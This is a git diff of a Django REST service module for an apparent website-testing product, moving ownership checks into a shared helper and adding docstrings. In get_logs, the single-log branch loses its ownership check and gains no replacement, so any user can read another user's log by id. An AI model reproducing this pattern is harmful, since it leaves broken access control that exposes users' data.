+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if site_url passed
+    if site_url:
+        if Site.objects.filter(account=account, site_url=site_url).exists():
+            site = Site.objects.filter(account=account, site_url=site_url)[0]
 
+    # get case if checks passed
     if case_id:
-        try:
-            case = Case.objects.get(id=case_id)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if case.account != account:
-            data = {'reason': 'cannot retrieve Cases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        else:
-            if steps is not None:
-                steps_data = save_case_steps(steps, case_id)
-                case.steps = steps_data
-            if name is not None:
-                case.name = name
-            if tags is not None:
-                case.tags = tags
-            case.save()
+        case = Case.objects.get(id=case_id)
+
+    # udpate case   
+    if case:
+        if steps is not None:
+            steps_data = save_case_steps(steps, case_id)
+            case.steps = steps_data
+        if name is not None:
+            case.name = name
+        if tags is not None:
+            case.tags = tags
+        # save updates
+        case.save()
     
-    else:
+    # create case
+    if not case:
+
+        # generate new uuid
         case_id = uuid.uuid4()
+
+        # save step data in s3
         steps_data = save_case_steps(steps, case_id)
         
-        if site_url is not None:
-            try:
-                site = Site.objects.filter(account=account, site_url=site_url)[0]
-            except:
-                pass
-
+        # create new case
         case = Case.objects.create(
             id = case_id,
             user = request.user,
@@ -2397,7 +3289,7 @@ def create_or_update_case(request):
             account = account
         )
 
-
+    # serialize and return
     serializer_context = {'request': request,}
     data = CaseSerializer(case, context=serializer_context).data
     record_api_call(request, data, '201')
@@ -2407,70 +3299,180 @@ def create_or_update_case(request):
 
 
 
-def get_cases(request):
+def save_case_steps(steps: dict, steps_id: str) -> dict:
+    """ 
+    Helper function that uploads the "steps" data to 
+    s3 bucket
+
+    Expects: {
+        'steps'   : dict, 
+        'step_id' : str
+    }
+
+    Returns -> data: {
+        'num_steps' : int,
+        'url'       : str
+    }
+    """
+
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # saving as json file temporarily
+    with open(f'{steps_id}.json', 'w') as fp:
+        json.dump(steps, fp)
+    
+    # seting up paths
+    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+    remote_path = f'static/cases/steps/{steps_id}.json'
+    root_path = settings.AWS_S3_URL_PATH
+    steps_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(steps_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+        )
+
+    # remove local copy
+    os.remove(steps_file)
+
+    # format data
+    data = {
+        'num_steps': len(steps),
+        'url': steps_url
+    }
+
+    # return response
+    return data
+
+
+
+
+def get_cases(request: object) -> object:
+    """ 
+    Get one or more `Cases`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     case_id = request.query_params.get('case_id')
     site_id = request.query_params.get('site_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # setting defaulta
     case = None
     site = None
 
-    if case_id != None:        
-        try:
-            case = Case.objects.get(id=case_id)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if case.account != account:
-            data = {'reason': 'cannot retrieve an Case you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single case
+    if case_id:        
+
+        # get case
+        case = Case.objects.get(id=case_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = CaseSerializer(case, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    if site_id != None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if site.account != account:
-            data = {'reason': 'cannot retrieve an Case you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    # filter by site association
-    if site is not None:
-        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
-        paginator = LimitOffsetPagination()
-        result_page = paginator.paginate_queryset(cases, request)
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-        response = paginator.get_paginated_response(serialized.data)
-        record_api_call(request, response.data, '200')
-        return response
+    # get site if checks passed
+    if site_id:
+        site = Site.objects.get(id=site_id)
 
-    else:
+    # get cases scoped by site
+    if site:
+        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
+    
+    # get cases scoped by account
+    if not site:
         cases = Case.objects.filter(account=account).order_by('-time_created')
-        paginator = LimitOffsetPagination()
-        result_page = paginator.paginate_queryset(cases, request)
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-        response = paginator.get_paginated_response(serialized.data)
-        record_api_call(request, response.data, '200')
-        return response
 
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(cases, request)
+    serializer_context = {'request': request,}
+    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
 
 
 
-def search_cases(request):
-    # get data
+
+def get_case(request: object, id: str) -> object:
+    """
+    Get single `Case` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       case_id=id, resource='case'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
+    case = Case.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = CaseSerializer(case, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def search_cases(request: object) -> object:
+    """ 
+    Searches for matching `Cases` to the passed 
+    "query"
+
+    Expects: {
+        'request': obejct
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     user = request.user
     account = Member.objects.get(user=user).account
     query = request.query_params.get('query')
@@ -2481,6 +3483,7 @@ def search_cases(request):
         Q(account=account, site_url__icontains=query) 
     ).order_by('-time_created')
     
+    # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
     serializer_context = {'request': request,}
@@ -2491,54 +3494,28 @@ def search_cases(request):
 
 
 
-def delete_case(request, id):
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    try:
-        case = Case.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Case with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if case.account != account:
-        data = {'reason': 'delete an Case you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # delete s3 steps object
-    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-    bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()
-
-    case.delete()
-
-    data = {'message': 'Case has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
-
-
-
 
+def create_auto_cases(request: object) -> object:
+    """
+    Initiates a new `Case` generation task for the `Site` 
+    associated with either the passed "site_url" or "site_id" 
 
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def create_auto_cases(request):
-    # get data
+    # get request data
     site_id = request.data.get('site_id')
     site_url = request.data.get('site_url')
     start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
-    configs = request.data.get('configs')
+    configs = request.data.get('configs', settings.CONFIGS)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2547,28 +3524,20 @@ def create_auto_cases(request):
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
 
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
     # get site if only site_id present
-    if site_id is not None:
+    if site_id and not site_url:
         site = Site.objects.get(id=site_id)
-        if site.account != account:
-            # return error response
-            data = {'reason': 'site not found',}
-            record_api_call(request, data, '404')
-            response = Response(data, status=status.HTTP_404_NOT_FOUND)
-            return response
-
-    if site_id is None and site_url is None:
-        # return error response
-        data = {'reason': 'site not found',}
-        record_api_call(request, data, '404')
-        response = Response(data, status=status.HTTP_404_NOT_FOUND)
-        return response
-
-    
-    # get/set configs
-    if not configs:
-        configs = settings.CONFIGS
-
+   
     # create process obj
     process = Process.objects.create(
         site=site,
@@ -2599,24 +3568,37 @@ def create_auto_cases(request):
 
 
 
+def copy_case(request: object) -> object:
+    """ 
+    Creates a copy of the passed `Case`
 
-def copy_case(request):
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response obejct
+    """
+
+    # get request data
     case_id = request.data.get('case_id')
+
+    # get user and acount
     user = request.user
     account = Member.objects.get(user=user).account
 
-    # check data
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
     if case_id:
-        try:
-            case = Case.objects.get(id=case_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-    else:
-        data = {'reason': 'you must provide case_id'}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
+        case = Case.objects.get(id=case_id, account=account)
 
     # download steps 
     steps = requests.get(case.steps['url']).json()
@@ -2647,66 +3629,116 @@ def copy_case(request):
 
 
 
+def delete_case(request: object, id: str) -> object:
+    """ 
+    Deletes the `Case` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
+    case = Case.objects.get(id=id)
+    
+    # delete case s3 objects
+    delete_case_s3_bg.delay(case_id=id)
+
+    # delete case
+    case.delete()
+
+    # return response
+    data = {'message': 'Case has been deleted',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+### ------ Begin Testcase Services ------ ###
+
 
 
 
+def create_testcase(request: object, delay: bool=False) -> object:
+    """ 
+    Creates a new `Testcase` from the passed "case_id" for the 
+    passed "site_id"
 
+    Expects: {
+        'request': obejct
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def create_testcase(request, delay=False):
+    # get request data
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
     configs = request.data.get('configs', settings.CONFIGS)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-
-    check_data = check_account(request=request, resource='testcase')
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        case_id=case_id, site_id=site_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    if case_id:
-        try:
-            case = Case.objects.get(id=case_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        try:
-            site = Site.objects.get(id=site_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    else:
-        data = {'reason': 'you must provide both site_id and case_id'}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
+    # get case & site if checks passed
+    case = Case.objects.get(id=case_id, account=account)
+    site = Site.objects.get(id=site_id, account=account)
 
+    # getting steps from case
     steps = requests.get(case.steps['url']).json()
+
+    # adding new info to steps for testcase
     for step in steps:
+        # expanding action
         if step['action']['type'] != None:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
             step['action']['passed'] = None
             step['action']['img'] = None
-
+        # expanding assertion
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
             step['assertion']['time_completed'] = None
             step['assertion']['exception'] = None
             step['assertion']['passed'] = None
 
+    # updating values if requested
     if updates != None:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
-        
+
+    # create new tescase 
     testcase = Testcase.objects.create(
         case = case,
         case_name = case.name,
@@ -2717,20 +3749,10 @@ def create_testcase(request, delay=False):
         account = account
     )
 
-    if delay:
-        # pass the newly created Testcase to the backgroud task to run
-        create_testcase_bg.delay(testcase_id=testcase.id)
-    else:
-        # running testcase
-        if configs.get('driver', 'puppeteer') == 'puppeteer':
-            testresult = asyncio.run(
-                Caser(testcase=testcase).run_p()
-            )
-        if configs.get('driver', 'puppeteer') == 'selenium':
-            testresult = Caser(testcase=testcase).run_s()
-
-        testcase = Testcase.objects.get(id=testcase.id)
+    # pass the newly created Testcase to the backgroud task to run
+    create_testcase_bg.delay(testcase_id=testcase.id)
 
+    # serialize and return
     serializer_context = {'request': request,}
     data = TestcaseSerializer(testcase, context=serializer_context).data
     record_api_call(request, data, '201')
@@ -2740,43 +3762,59 @@ def create_testcase(request, delay=False):
 
 
 
-def get_testcases(request):
+def get_testcases(request: object) -> object:
+    """ 
+    Get one or more `Testcase`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
     testcase_id = request.query_params.get('testcase_id')
     site_id = request.query_params.get('site_id')
     lean = request.query_params.get('lean')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if testcase_id != None:        
-        try:
-            testcase = Testcase.objects.get(id=testcase_id)
-        except:
-            data = {'reason': 'cannot find a Testcase with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if testcase.account != account:
-            data = {'reason': 'cannot retrieve an Testcase you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        testcase_id=testcase_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single testcase
+    if testcase_id:        
+
+        # get testcase
+        testcase = Testcase.objects.get(id=testcase_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = TestcaseSerializer(testcase, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    if site_id != None:
-        try:
-            site = Site.objects.get(id=site_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # get testcases scoped to site
+    if site_id:
+        site = Site.objects.get(id=site_id, account=account)
         testcases = Testcase.objects.filter(site=site).order_by('-time_created')
     
-    else:
+    # get testcases scoped to account
+    if not site_id:
         testcases = Testcase.objects.filter(account=account).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(testcases, request)
     serializer_context = {'request': request,}
@@ -2789,27 +3827,81 @@ def get_testcases(request):
 
 
 
-def delete_testcase(request, id):
+
+def get_testcase(request: object, id: str) -> object:
+    """
+    Get single `Testcase` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        testcase = Testcase.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Testcase with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if testcase.account != account:
-        data = {'reason': 'delete an Testcase you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       testcase_id=id, resource='testcase'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get testcase if checks passed
+    testcase = Testcase.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = TestcaseSerializer(testcase, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_testcase(request: object, id: str) -> object:
+    """ 
+    Deletes the `Testcase` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        testcase_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get testcase if checks passed
+    testcase = Testcase.objects.get(id=id)
 
     # remove s3 objects
     delete_testcase_s3_bg.delay(testcase_id=id)
 
+    # delete testcase
     testcase.delete()
 
+    # return response
     data = {'message': 'Testcase has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2818,45 +3910,67 @@ def delete_testcase(request, id):
 
 
 
+### ------ Begin Process Services ------ ###
+
 
 
 
+def get_processes(request: object) -> object:
+    """ 
+    Get one or more `Processes`.
 
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    site_id = request.query_params.get('site_id')
+    process_id = request.query_params.get('process_id')
+    _type = request.query_params.get('type')
 
-def get_processes(request):
-    site_id = request.query_params.get('site_id', None)
-    process_id = request.query_params.get('process_id', None)
-    _type = request.query_params.get('type', None)
-    account = Account.objects.get(user=request.user)
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='process', 
+        process_id=process_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single process
+    if process_id:
+        
+        # get process
+        process = Process.objects.get(id=process_id)
+        
+        # serialize and return
+        serializer_context = {'request': request,}
+        data = ProcessSerializer(process, context=serializer_context).data
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
 
+    # get processes scoped to site
     if site_id:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        site = Site.objects.get(id=site_id)
         processes = Process.objects.filter(site=site).order_by('-time_created')
 
-    if process_id:
-        try:
-            process = Process.objects.get(id=process_id)
-            serializer_context = {'request': request,}
-            data = ProcessSerializer(process, context=serializer_context).data
-            record_api_call(request, data, '200')
-            response = Response(data, status=status.HTTP_200_OK)
-            return response
-        except:
-            data = {'reason': 'cannot find a Process with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
+    # get processes scoped to accout and/or type
     if site_id is None and process_id is None:
         if _type is None:
             processes = Process.objects.filter(account=account).order_by('-time_created')
         if _type is not None:
             processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(processes, request)
     serializer_context = {'request': request,}
@@ -2868,37 +3982,92 @@ def get_processes(request):
 
 
 
+def get_process(request: object, id: str) -> object:
+    """
+    Get single `Process` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       process_id=id, resource='process'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get process if checks passed
+    process = Process.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(process, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
 
+### ------ Begin Log Services ------ ###
 
 
-def get_logs(request):
 
+
+def get_logs(request: object) -> object:
+    """ 
+    Get one or more `Testcase`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     log_id = request.query_params.get('log_id')
     request_status = request.query_params.get('success')
     request_type = request.query_params.get('request_type')
 
-    if log_id != None:
+    # get user 
+    user = request.user
+
+    # get single log
+    if log_id:
+
+        # get log
         log = Log.objects.get(id=log_id)
-        if log.user != request.user:
-            data = {'reason': 'cannot retrieve Logs you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
         
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = LogSerializer(log, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
+    # filtering logs by passed params
     if request_status != None and request_type != None:
-        logs = Log.objects.filter(status=request_status, request_type=request_type, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(status=request_status, request_type=request_type, user=user).order_by('-time_created')
     elif request_status == None and request_type != None:
-        logs = Log.objects.filter(request_type=request_type, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(request_type=request_type, user=user).order_by('-time_created')
     elif request_status != None and request_type == None:
-        logs = Log.objects.filter(status=request_status, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(status=request_status, user=user).order_by('-time_created')
     else:
-        logs = Log.objects.filter(user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(user=user).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(logs, request)
     serializer_context = {'request': request,}
@@ -2909,10 +4078,50 @@ def get_logs(request):
 
 
 
+def get_log(request: object, id: str) -> object:
+    """
+    Get single `Log` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       log_id=id, resource='log'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get log if checks passed
+    log = Log.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = LogSerializer(log, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+### ------ Begin Search Services ------ ###
 
 
 
-def search_resources(request):
+
+def search_resources(request: object) -> object:
     """
     This method will search for any `Page` or `Site`
     that is associated with the user's `Account` and
@@ -2995,189 +4204,43 @@ def search_resources(request):
             'type': 'case',
         })
         i+=1
-        
+    
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
 
 
 
+### ------ Begin Metrics Services ------ ###
 
 
 
 
-def migrate_site(request, delay=False):
-    login_url = request.data.get('login_url', None)
-    admin_url = request.data.get('admin_url', None)
-    plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator')
-    username = request.data.get('username', None)
-    password = request.data.get('password', None)
-    site_id = request.data.get('site_id', None)
-    email_address = request.data.get('email_address', None)
-    destination_url = request.data.get('destination_url', None)
-    sftp_address = request.data.get('sftp_address', None) 
-    dbname = request.data.get('dbname', None)
-    sftp_username = request.data.get('sftp_username', None)
-    sftp_password = request.data.get('sftp_password', None)
-    wait_time = request.data.get('wait_time', 30)
-    driver = request.data.get('driver', 'puppeteer')
-
-    site = Site.objects.get(id=site_id)
-    process = Process.objects.create(
-        site=site,
-        type='migration'
-    )
-    process_id = process.id
-
-    if delay:
-        migrate_site_bg.delay(
-            login_url, 
-            admin_url, 
-            username, 
-            password, 
-            email_address, 
-            destination_url, 
-            sftp_address, 
-            dbname, 
-            sftp_username, 
-            sftp_password, 
-            plugin_name, 
-            wait_time, 
-            process_id, 
-            driver
-        )
-        
-        serializer_context = {'request': request,}
-        data = ProcessSerializer(process, context=serializer_context).data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
-
-
-
-    if driver == 'selenium':
-
-        # init wordpress
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process.id
-        )
-
-        # login
-        wp_status = wp.login()
-
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-
-        # launch migration
-        wp_status = wp.launch_migration()
-
-        # run migration
-        wp_status = wp.run_migration()
-
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
-
-        if wp_status: 
-            data = {
-                'success': 'success',
-                'message': 'site migration succeeded'
-            }
-        else:
-            data = {
-                'success': 'failed',
-                'message': 'site migration failed'
-            }
-
-        response = Response(data, status=status.HTTP_200_OK)
-        record_api_call(request, data, '200')
-        return response
-
-    else:
-
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password, 
-                wait_time=wait_time,
-            ).run_full(plugin_name=plugin_name)
-        )
-
-        if wp_status: 
-            data = {
-                'success': 'success',
-                'message': 'site migration succeeded'
-            }
-        else:
-            data = {
-                'success': 'failed',
-                'message': 'site migration failed'
-            }
-
-        response = Response(data, status=status.HTTP_200_OK)
-        record_api_call(request, data, '200')
-        return response
-
-
-
-
-
-
-
-
-
-
-def create_site_screenshot(request):
-    user = request.user
-    site_id = request.data.get('site_id', None)
-    url = request.data.get('url', None)
-    configs = request.data.get('configs', None)
-    site = None
-
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-
-    if configs is not None:
-        if configs['driver'] == 'puppeteer':
-            data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
-        elif configs['driver'] == 'selenium':
-            data = I().screenshot(site=site, url=url, configs=configs)
-    else:
-        data = I().screenshot(site=site, url=url, configs=configs)
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
-
-
-
-
+def get_home_metrics(request: object) -> object:
+    """ 
+    Builds metrics for account "Home" view 
+    on Scanerr.client
 
+    Expects: {
+        'request' : object
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def get_home_stats(request):
+    # get user, account, & sites
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
+    
+    # setting defaults
     site_count = sites.count()
     test_count = 0
     scan_count = 0
     schedule_count = 0
+    
+    # calculating metrics
     for site in sites:
         tests = Test.objects.filter(site=site)
         scans = Scan.objects.filter(site=site)
@@ -3186,12 +4249,15 @@ def get_home_stats(request):
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+    # format data
     data = {
         "sites": site_count, 
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
